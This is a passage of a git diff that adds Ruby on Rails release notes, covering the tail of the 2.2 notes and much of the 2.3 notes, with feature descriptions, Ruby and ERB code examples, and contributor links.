+* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
+* +render+ now supports a +:js+ option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
+
+h3. Action View
+
+* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* +RJS#page.reload+ to reload the browser's current location via JavaScript
+* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
+
+h3. Action Mailer
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
+
+* More information:
+** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+h3. Active Support
+
+Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
+
+h4. Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+<ruby>
+def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+</ruby>
+
+Memoization lets you handle this task in a declarative fashion:
+
+<ruby>
+extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+</ruby>
+
+Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
+
+* Lead Contributor: "Josh Peek":http://joshpeek.com/
+* More information:
+** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
+** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
+
+h4. each_with_object
+
+The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+<ruby>
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+</ruby>
+
+Lead Contributor: "Adam Keys":http://therealadam.com/
+
+h4. Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+<ruby>
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+</ruby>
+
+This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
+
+<ruby>
+class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+</ruby>
+
+This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
+
+Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
+
+h4. Other Active Support Changes
+
+* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
+* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
+* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
+* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
+* +Enumerable#many?+ to encapsulate +collection.size > 1+
+* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
+* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
+
+h3. Railties
+
+In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
+
+h4. config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* +config.gem _gem_name_+ in your +config/environment.rb+ file
+* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* +rake gems:install+ to install missing gems to the computer
+* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
+* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
+* +rake gems:build+ to build any missing native extensions
+* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
+
+* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
+* More information:
+** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
+** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
+** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
+
+h4. Other Railties Changes
+
+* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* +script/plugin install &lt;plugin&gt; -r &lt;revision&gt;+ now works with git-based as well as svn-based plugins.
+* +script/console+ now supports a +--debugger+ option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
+* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+h3. Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
+* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+<ruby>
+def partial_with_implicit_local_assignment
+  @customer = Customer.new("Marcel")
+  render :partial => "customer"
+end
+</ruby>
+
+Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
+* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
+* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
+* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
+* +String#chars+ has been deprecated in favor of +String#mb_chars+.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
+* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
+
+h3. Credits
+
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/guides/source/2_3_release_notes.textile b/guides/source/2_3_release_notes.textile
new file mode 100644
index 0000000000..36f425574b
--- /dev/null
+++ b/guides/source/2_3_release_notes.textile
@@ -0,0 +1,610 @@
+h2. Ruby on Rails 2.3 Release Notes
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
+
+endprologue.
+
+h3. Application Architecture
+
+There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
+
+h4. Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
+* The FCGI handler goes through Rack.
+* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
+* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* +CgiRequest+ and +CgiResponse+ have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
+* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
+* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
+* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
+* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
+* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+.
+* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
+* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
+* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
+* +ActionController::Request+ inherits from +Rack::Request+.
+* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use  +config.action_controller.session = { :key => 'foo', ...+.
+* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
+
+h4. Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
+
+h3. Documentation
+
+The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://edgeguides.rubyonrails.org/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
+
+* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
+
+h3. Ruby 1.9.1 Support
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+h3. Active Record
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+h4. Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+<ruby>
+class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+</ruby>
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
+
+<ruby>
+accepts_nested_attributes_for :author,
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+</ruby>
+
+* Lead Contributor: "Eloy Duran":http://superalloy.nl/
+* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+
+h4. Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+<ruby>
+User.transaction do
+    User.create(:username => 'Admin')
+    User.transaction(:requires_new => true) do
+      User.create(:username => 'Regular')
+      raise ActiveRecord::Rollback
+    end
+  end
+
+  User.find(:all)  # => Returns only Admin
+</ruby>
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+
+* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
+
+h4. Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+<ruby>
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+  :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+</ruby>
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
+* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
+
+h4. Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
+
+h4. Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
+
+<ruby>
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+</ruby>
+
+You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+<ruby>
+Customer.find_each do |customer|
+  customer.update_account_balance!
+end
+</ruby>
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just +each+):
+** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
+** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
+
+h4. Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
+
+<ruby>
+before_save :update_credit_rating, :if => :active,
+  :unless => [:admin, :cash_only]
+</ruby>
+* Lead Contributor: L. Caviola
+
+h4. Find with having
+
+Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+<ruby>
+developers =  Developer.find(:all, :group => "salary",
+  :having => "sum(salary) >  10000", :select => "salary")
+</ruby>
+
+* Lead Contributor: "Emilio Tagua":http://github.com/miloops
+
+h4. Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: "Dov Murik":http://twitter.com/dubek
+* More information:
+** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
+** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
+
+h4. Other Active Record Changes
+
+* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
+* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
+* A bug in quoting table names in some +has_many :through+ associations was fixed.
+* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
+* Better error messages on failed +find_by_attribute!+ calls.
+* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
+* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
+* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
+
+h3. Action Controller
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+h4. Unified Rendering
+
++ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+<ruby>
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+</ruby>
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+<ruby>
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+</ruby>
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
+
+h4. Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
+
+* More Information:
+** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
+** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
+
+h4. HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+
+<ruby>
+class PostsController < ApplicationController
+  Users = {"dhh" => "secret"}
+  before_filter :authenticate
+
+  def secret
+    render :text => "Password Required!"
+  end
+
+  private
+  def authenticate
+    realm = "Application"
+    authenticate_or_request_with_http_digest(realm) do |name|
+      Users[name]
+    end
+  end
+end
+</ruby>
+
+* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
+* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
+
+h4. More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+
+* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
+
+h4. Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
+
+h4. MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+<ruby>
+if content_type && Mime::JS =~ content_type
+  # do something cool
+end
+
+Mime::JS =~ "text/javascript"        => true
+Mime::JS =~ "application/javascript" => true
+</ruby>
+
+The other change is that the framework now uses the +Mime::JS+ when checking for JavaScript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
+
+h4. Optimization of +respond_to+
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
+
+h4. Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
+
+h4. Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
+
+In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
+
+h4. Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+h4. Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
+* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
+* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
+* The +:requirements+ option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* +polymorphic_url+ does a better job of handling objects with irregular plural names.
+
+h3. Action View
+
+Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+h4. Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+
+  accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+</ruby>
+
+You can write this view in Rails 2.3:
+
+<erb>
+<% form_for @customer do |customer_form| %>
+  <div>
+    <%= customer_form.label :name, 'Customer Name:' %>
+    <%= customer_form.text_field :name %>
+  </div>
+
+  <!-- Here we call fields_for on the customer_form builder instance.
+   The block is called for each member of the orders collection. -->
+  <% customer_form.fields_for :orders do |order_form| %>
+    <p>
+      <div>
+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      </div>
+
+  <!-- The allow_destroy option in the model enables deletion of
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        <div>
+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        </div>
+      <% end %>
+    </p>
+  <% end %>
+
+  <%= customer_form.submit %>
+<% end %>
+</erb>
+
+* Lead Contributor: "Eloy Duran":http://superalloy.nl/
+* More Information:
+** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+** "complex-form-examples":http://github.com/alloy/complex-form-examples
+** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
+
+h4. Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+<ruby>
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+</ruby>
+
+* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
+
+h4. Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
+
+<ruby>
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
+   :minute => 'Choose minute'})
+</ruby>
+
+* Lead Contributor: "Sam Oliver":http://samoliver.com/
+
+h4. AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+
+h4. Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
+
+* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
+
+h4. grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
+
+<ruby>
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+  "Cowboy Hat", "Choose a product...")
+</ruby>
+
+returns
+
+<ruby>
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+</ruby>
+
+h4. Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+<ruby>
+select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
+</ruby>
+
+returns
+
+<ruby>
+<select name=“post[category]“>
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled=“disabled“>private</option>
+</select>
+</ruby>
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+<ruby>
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+</ruby>
+
+* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
+* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
+
+h4. A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
+
+<ruby>
+config.action_view.cache_template_loading = true
+</ruby>
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
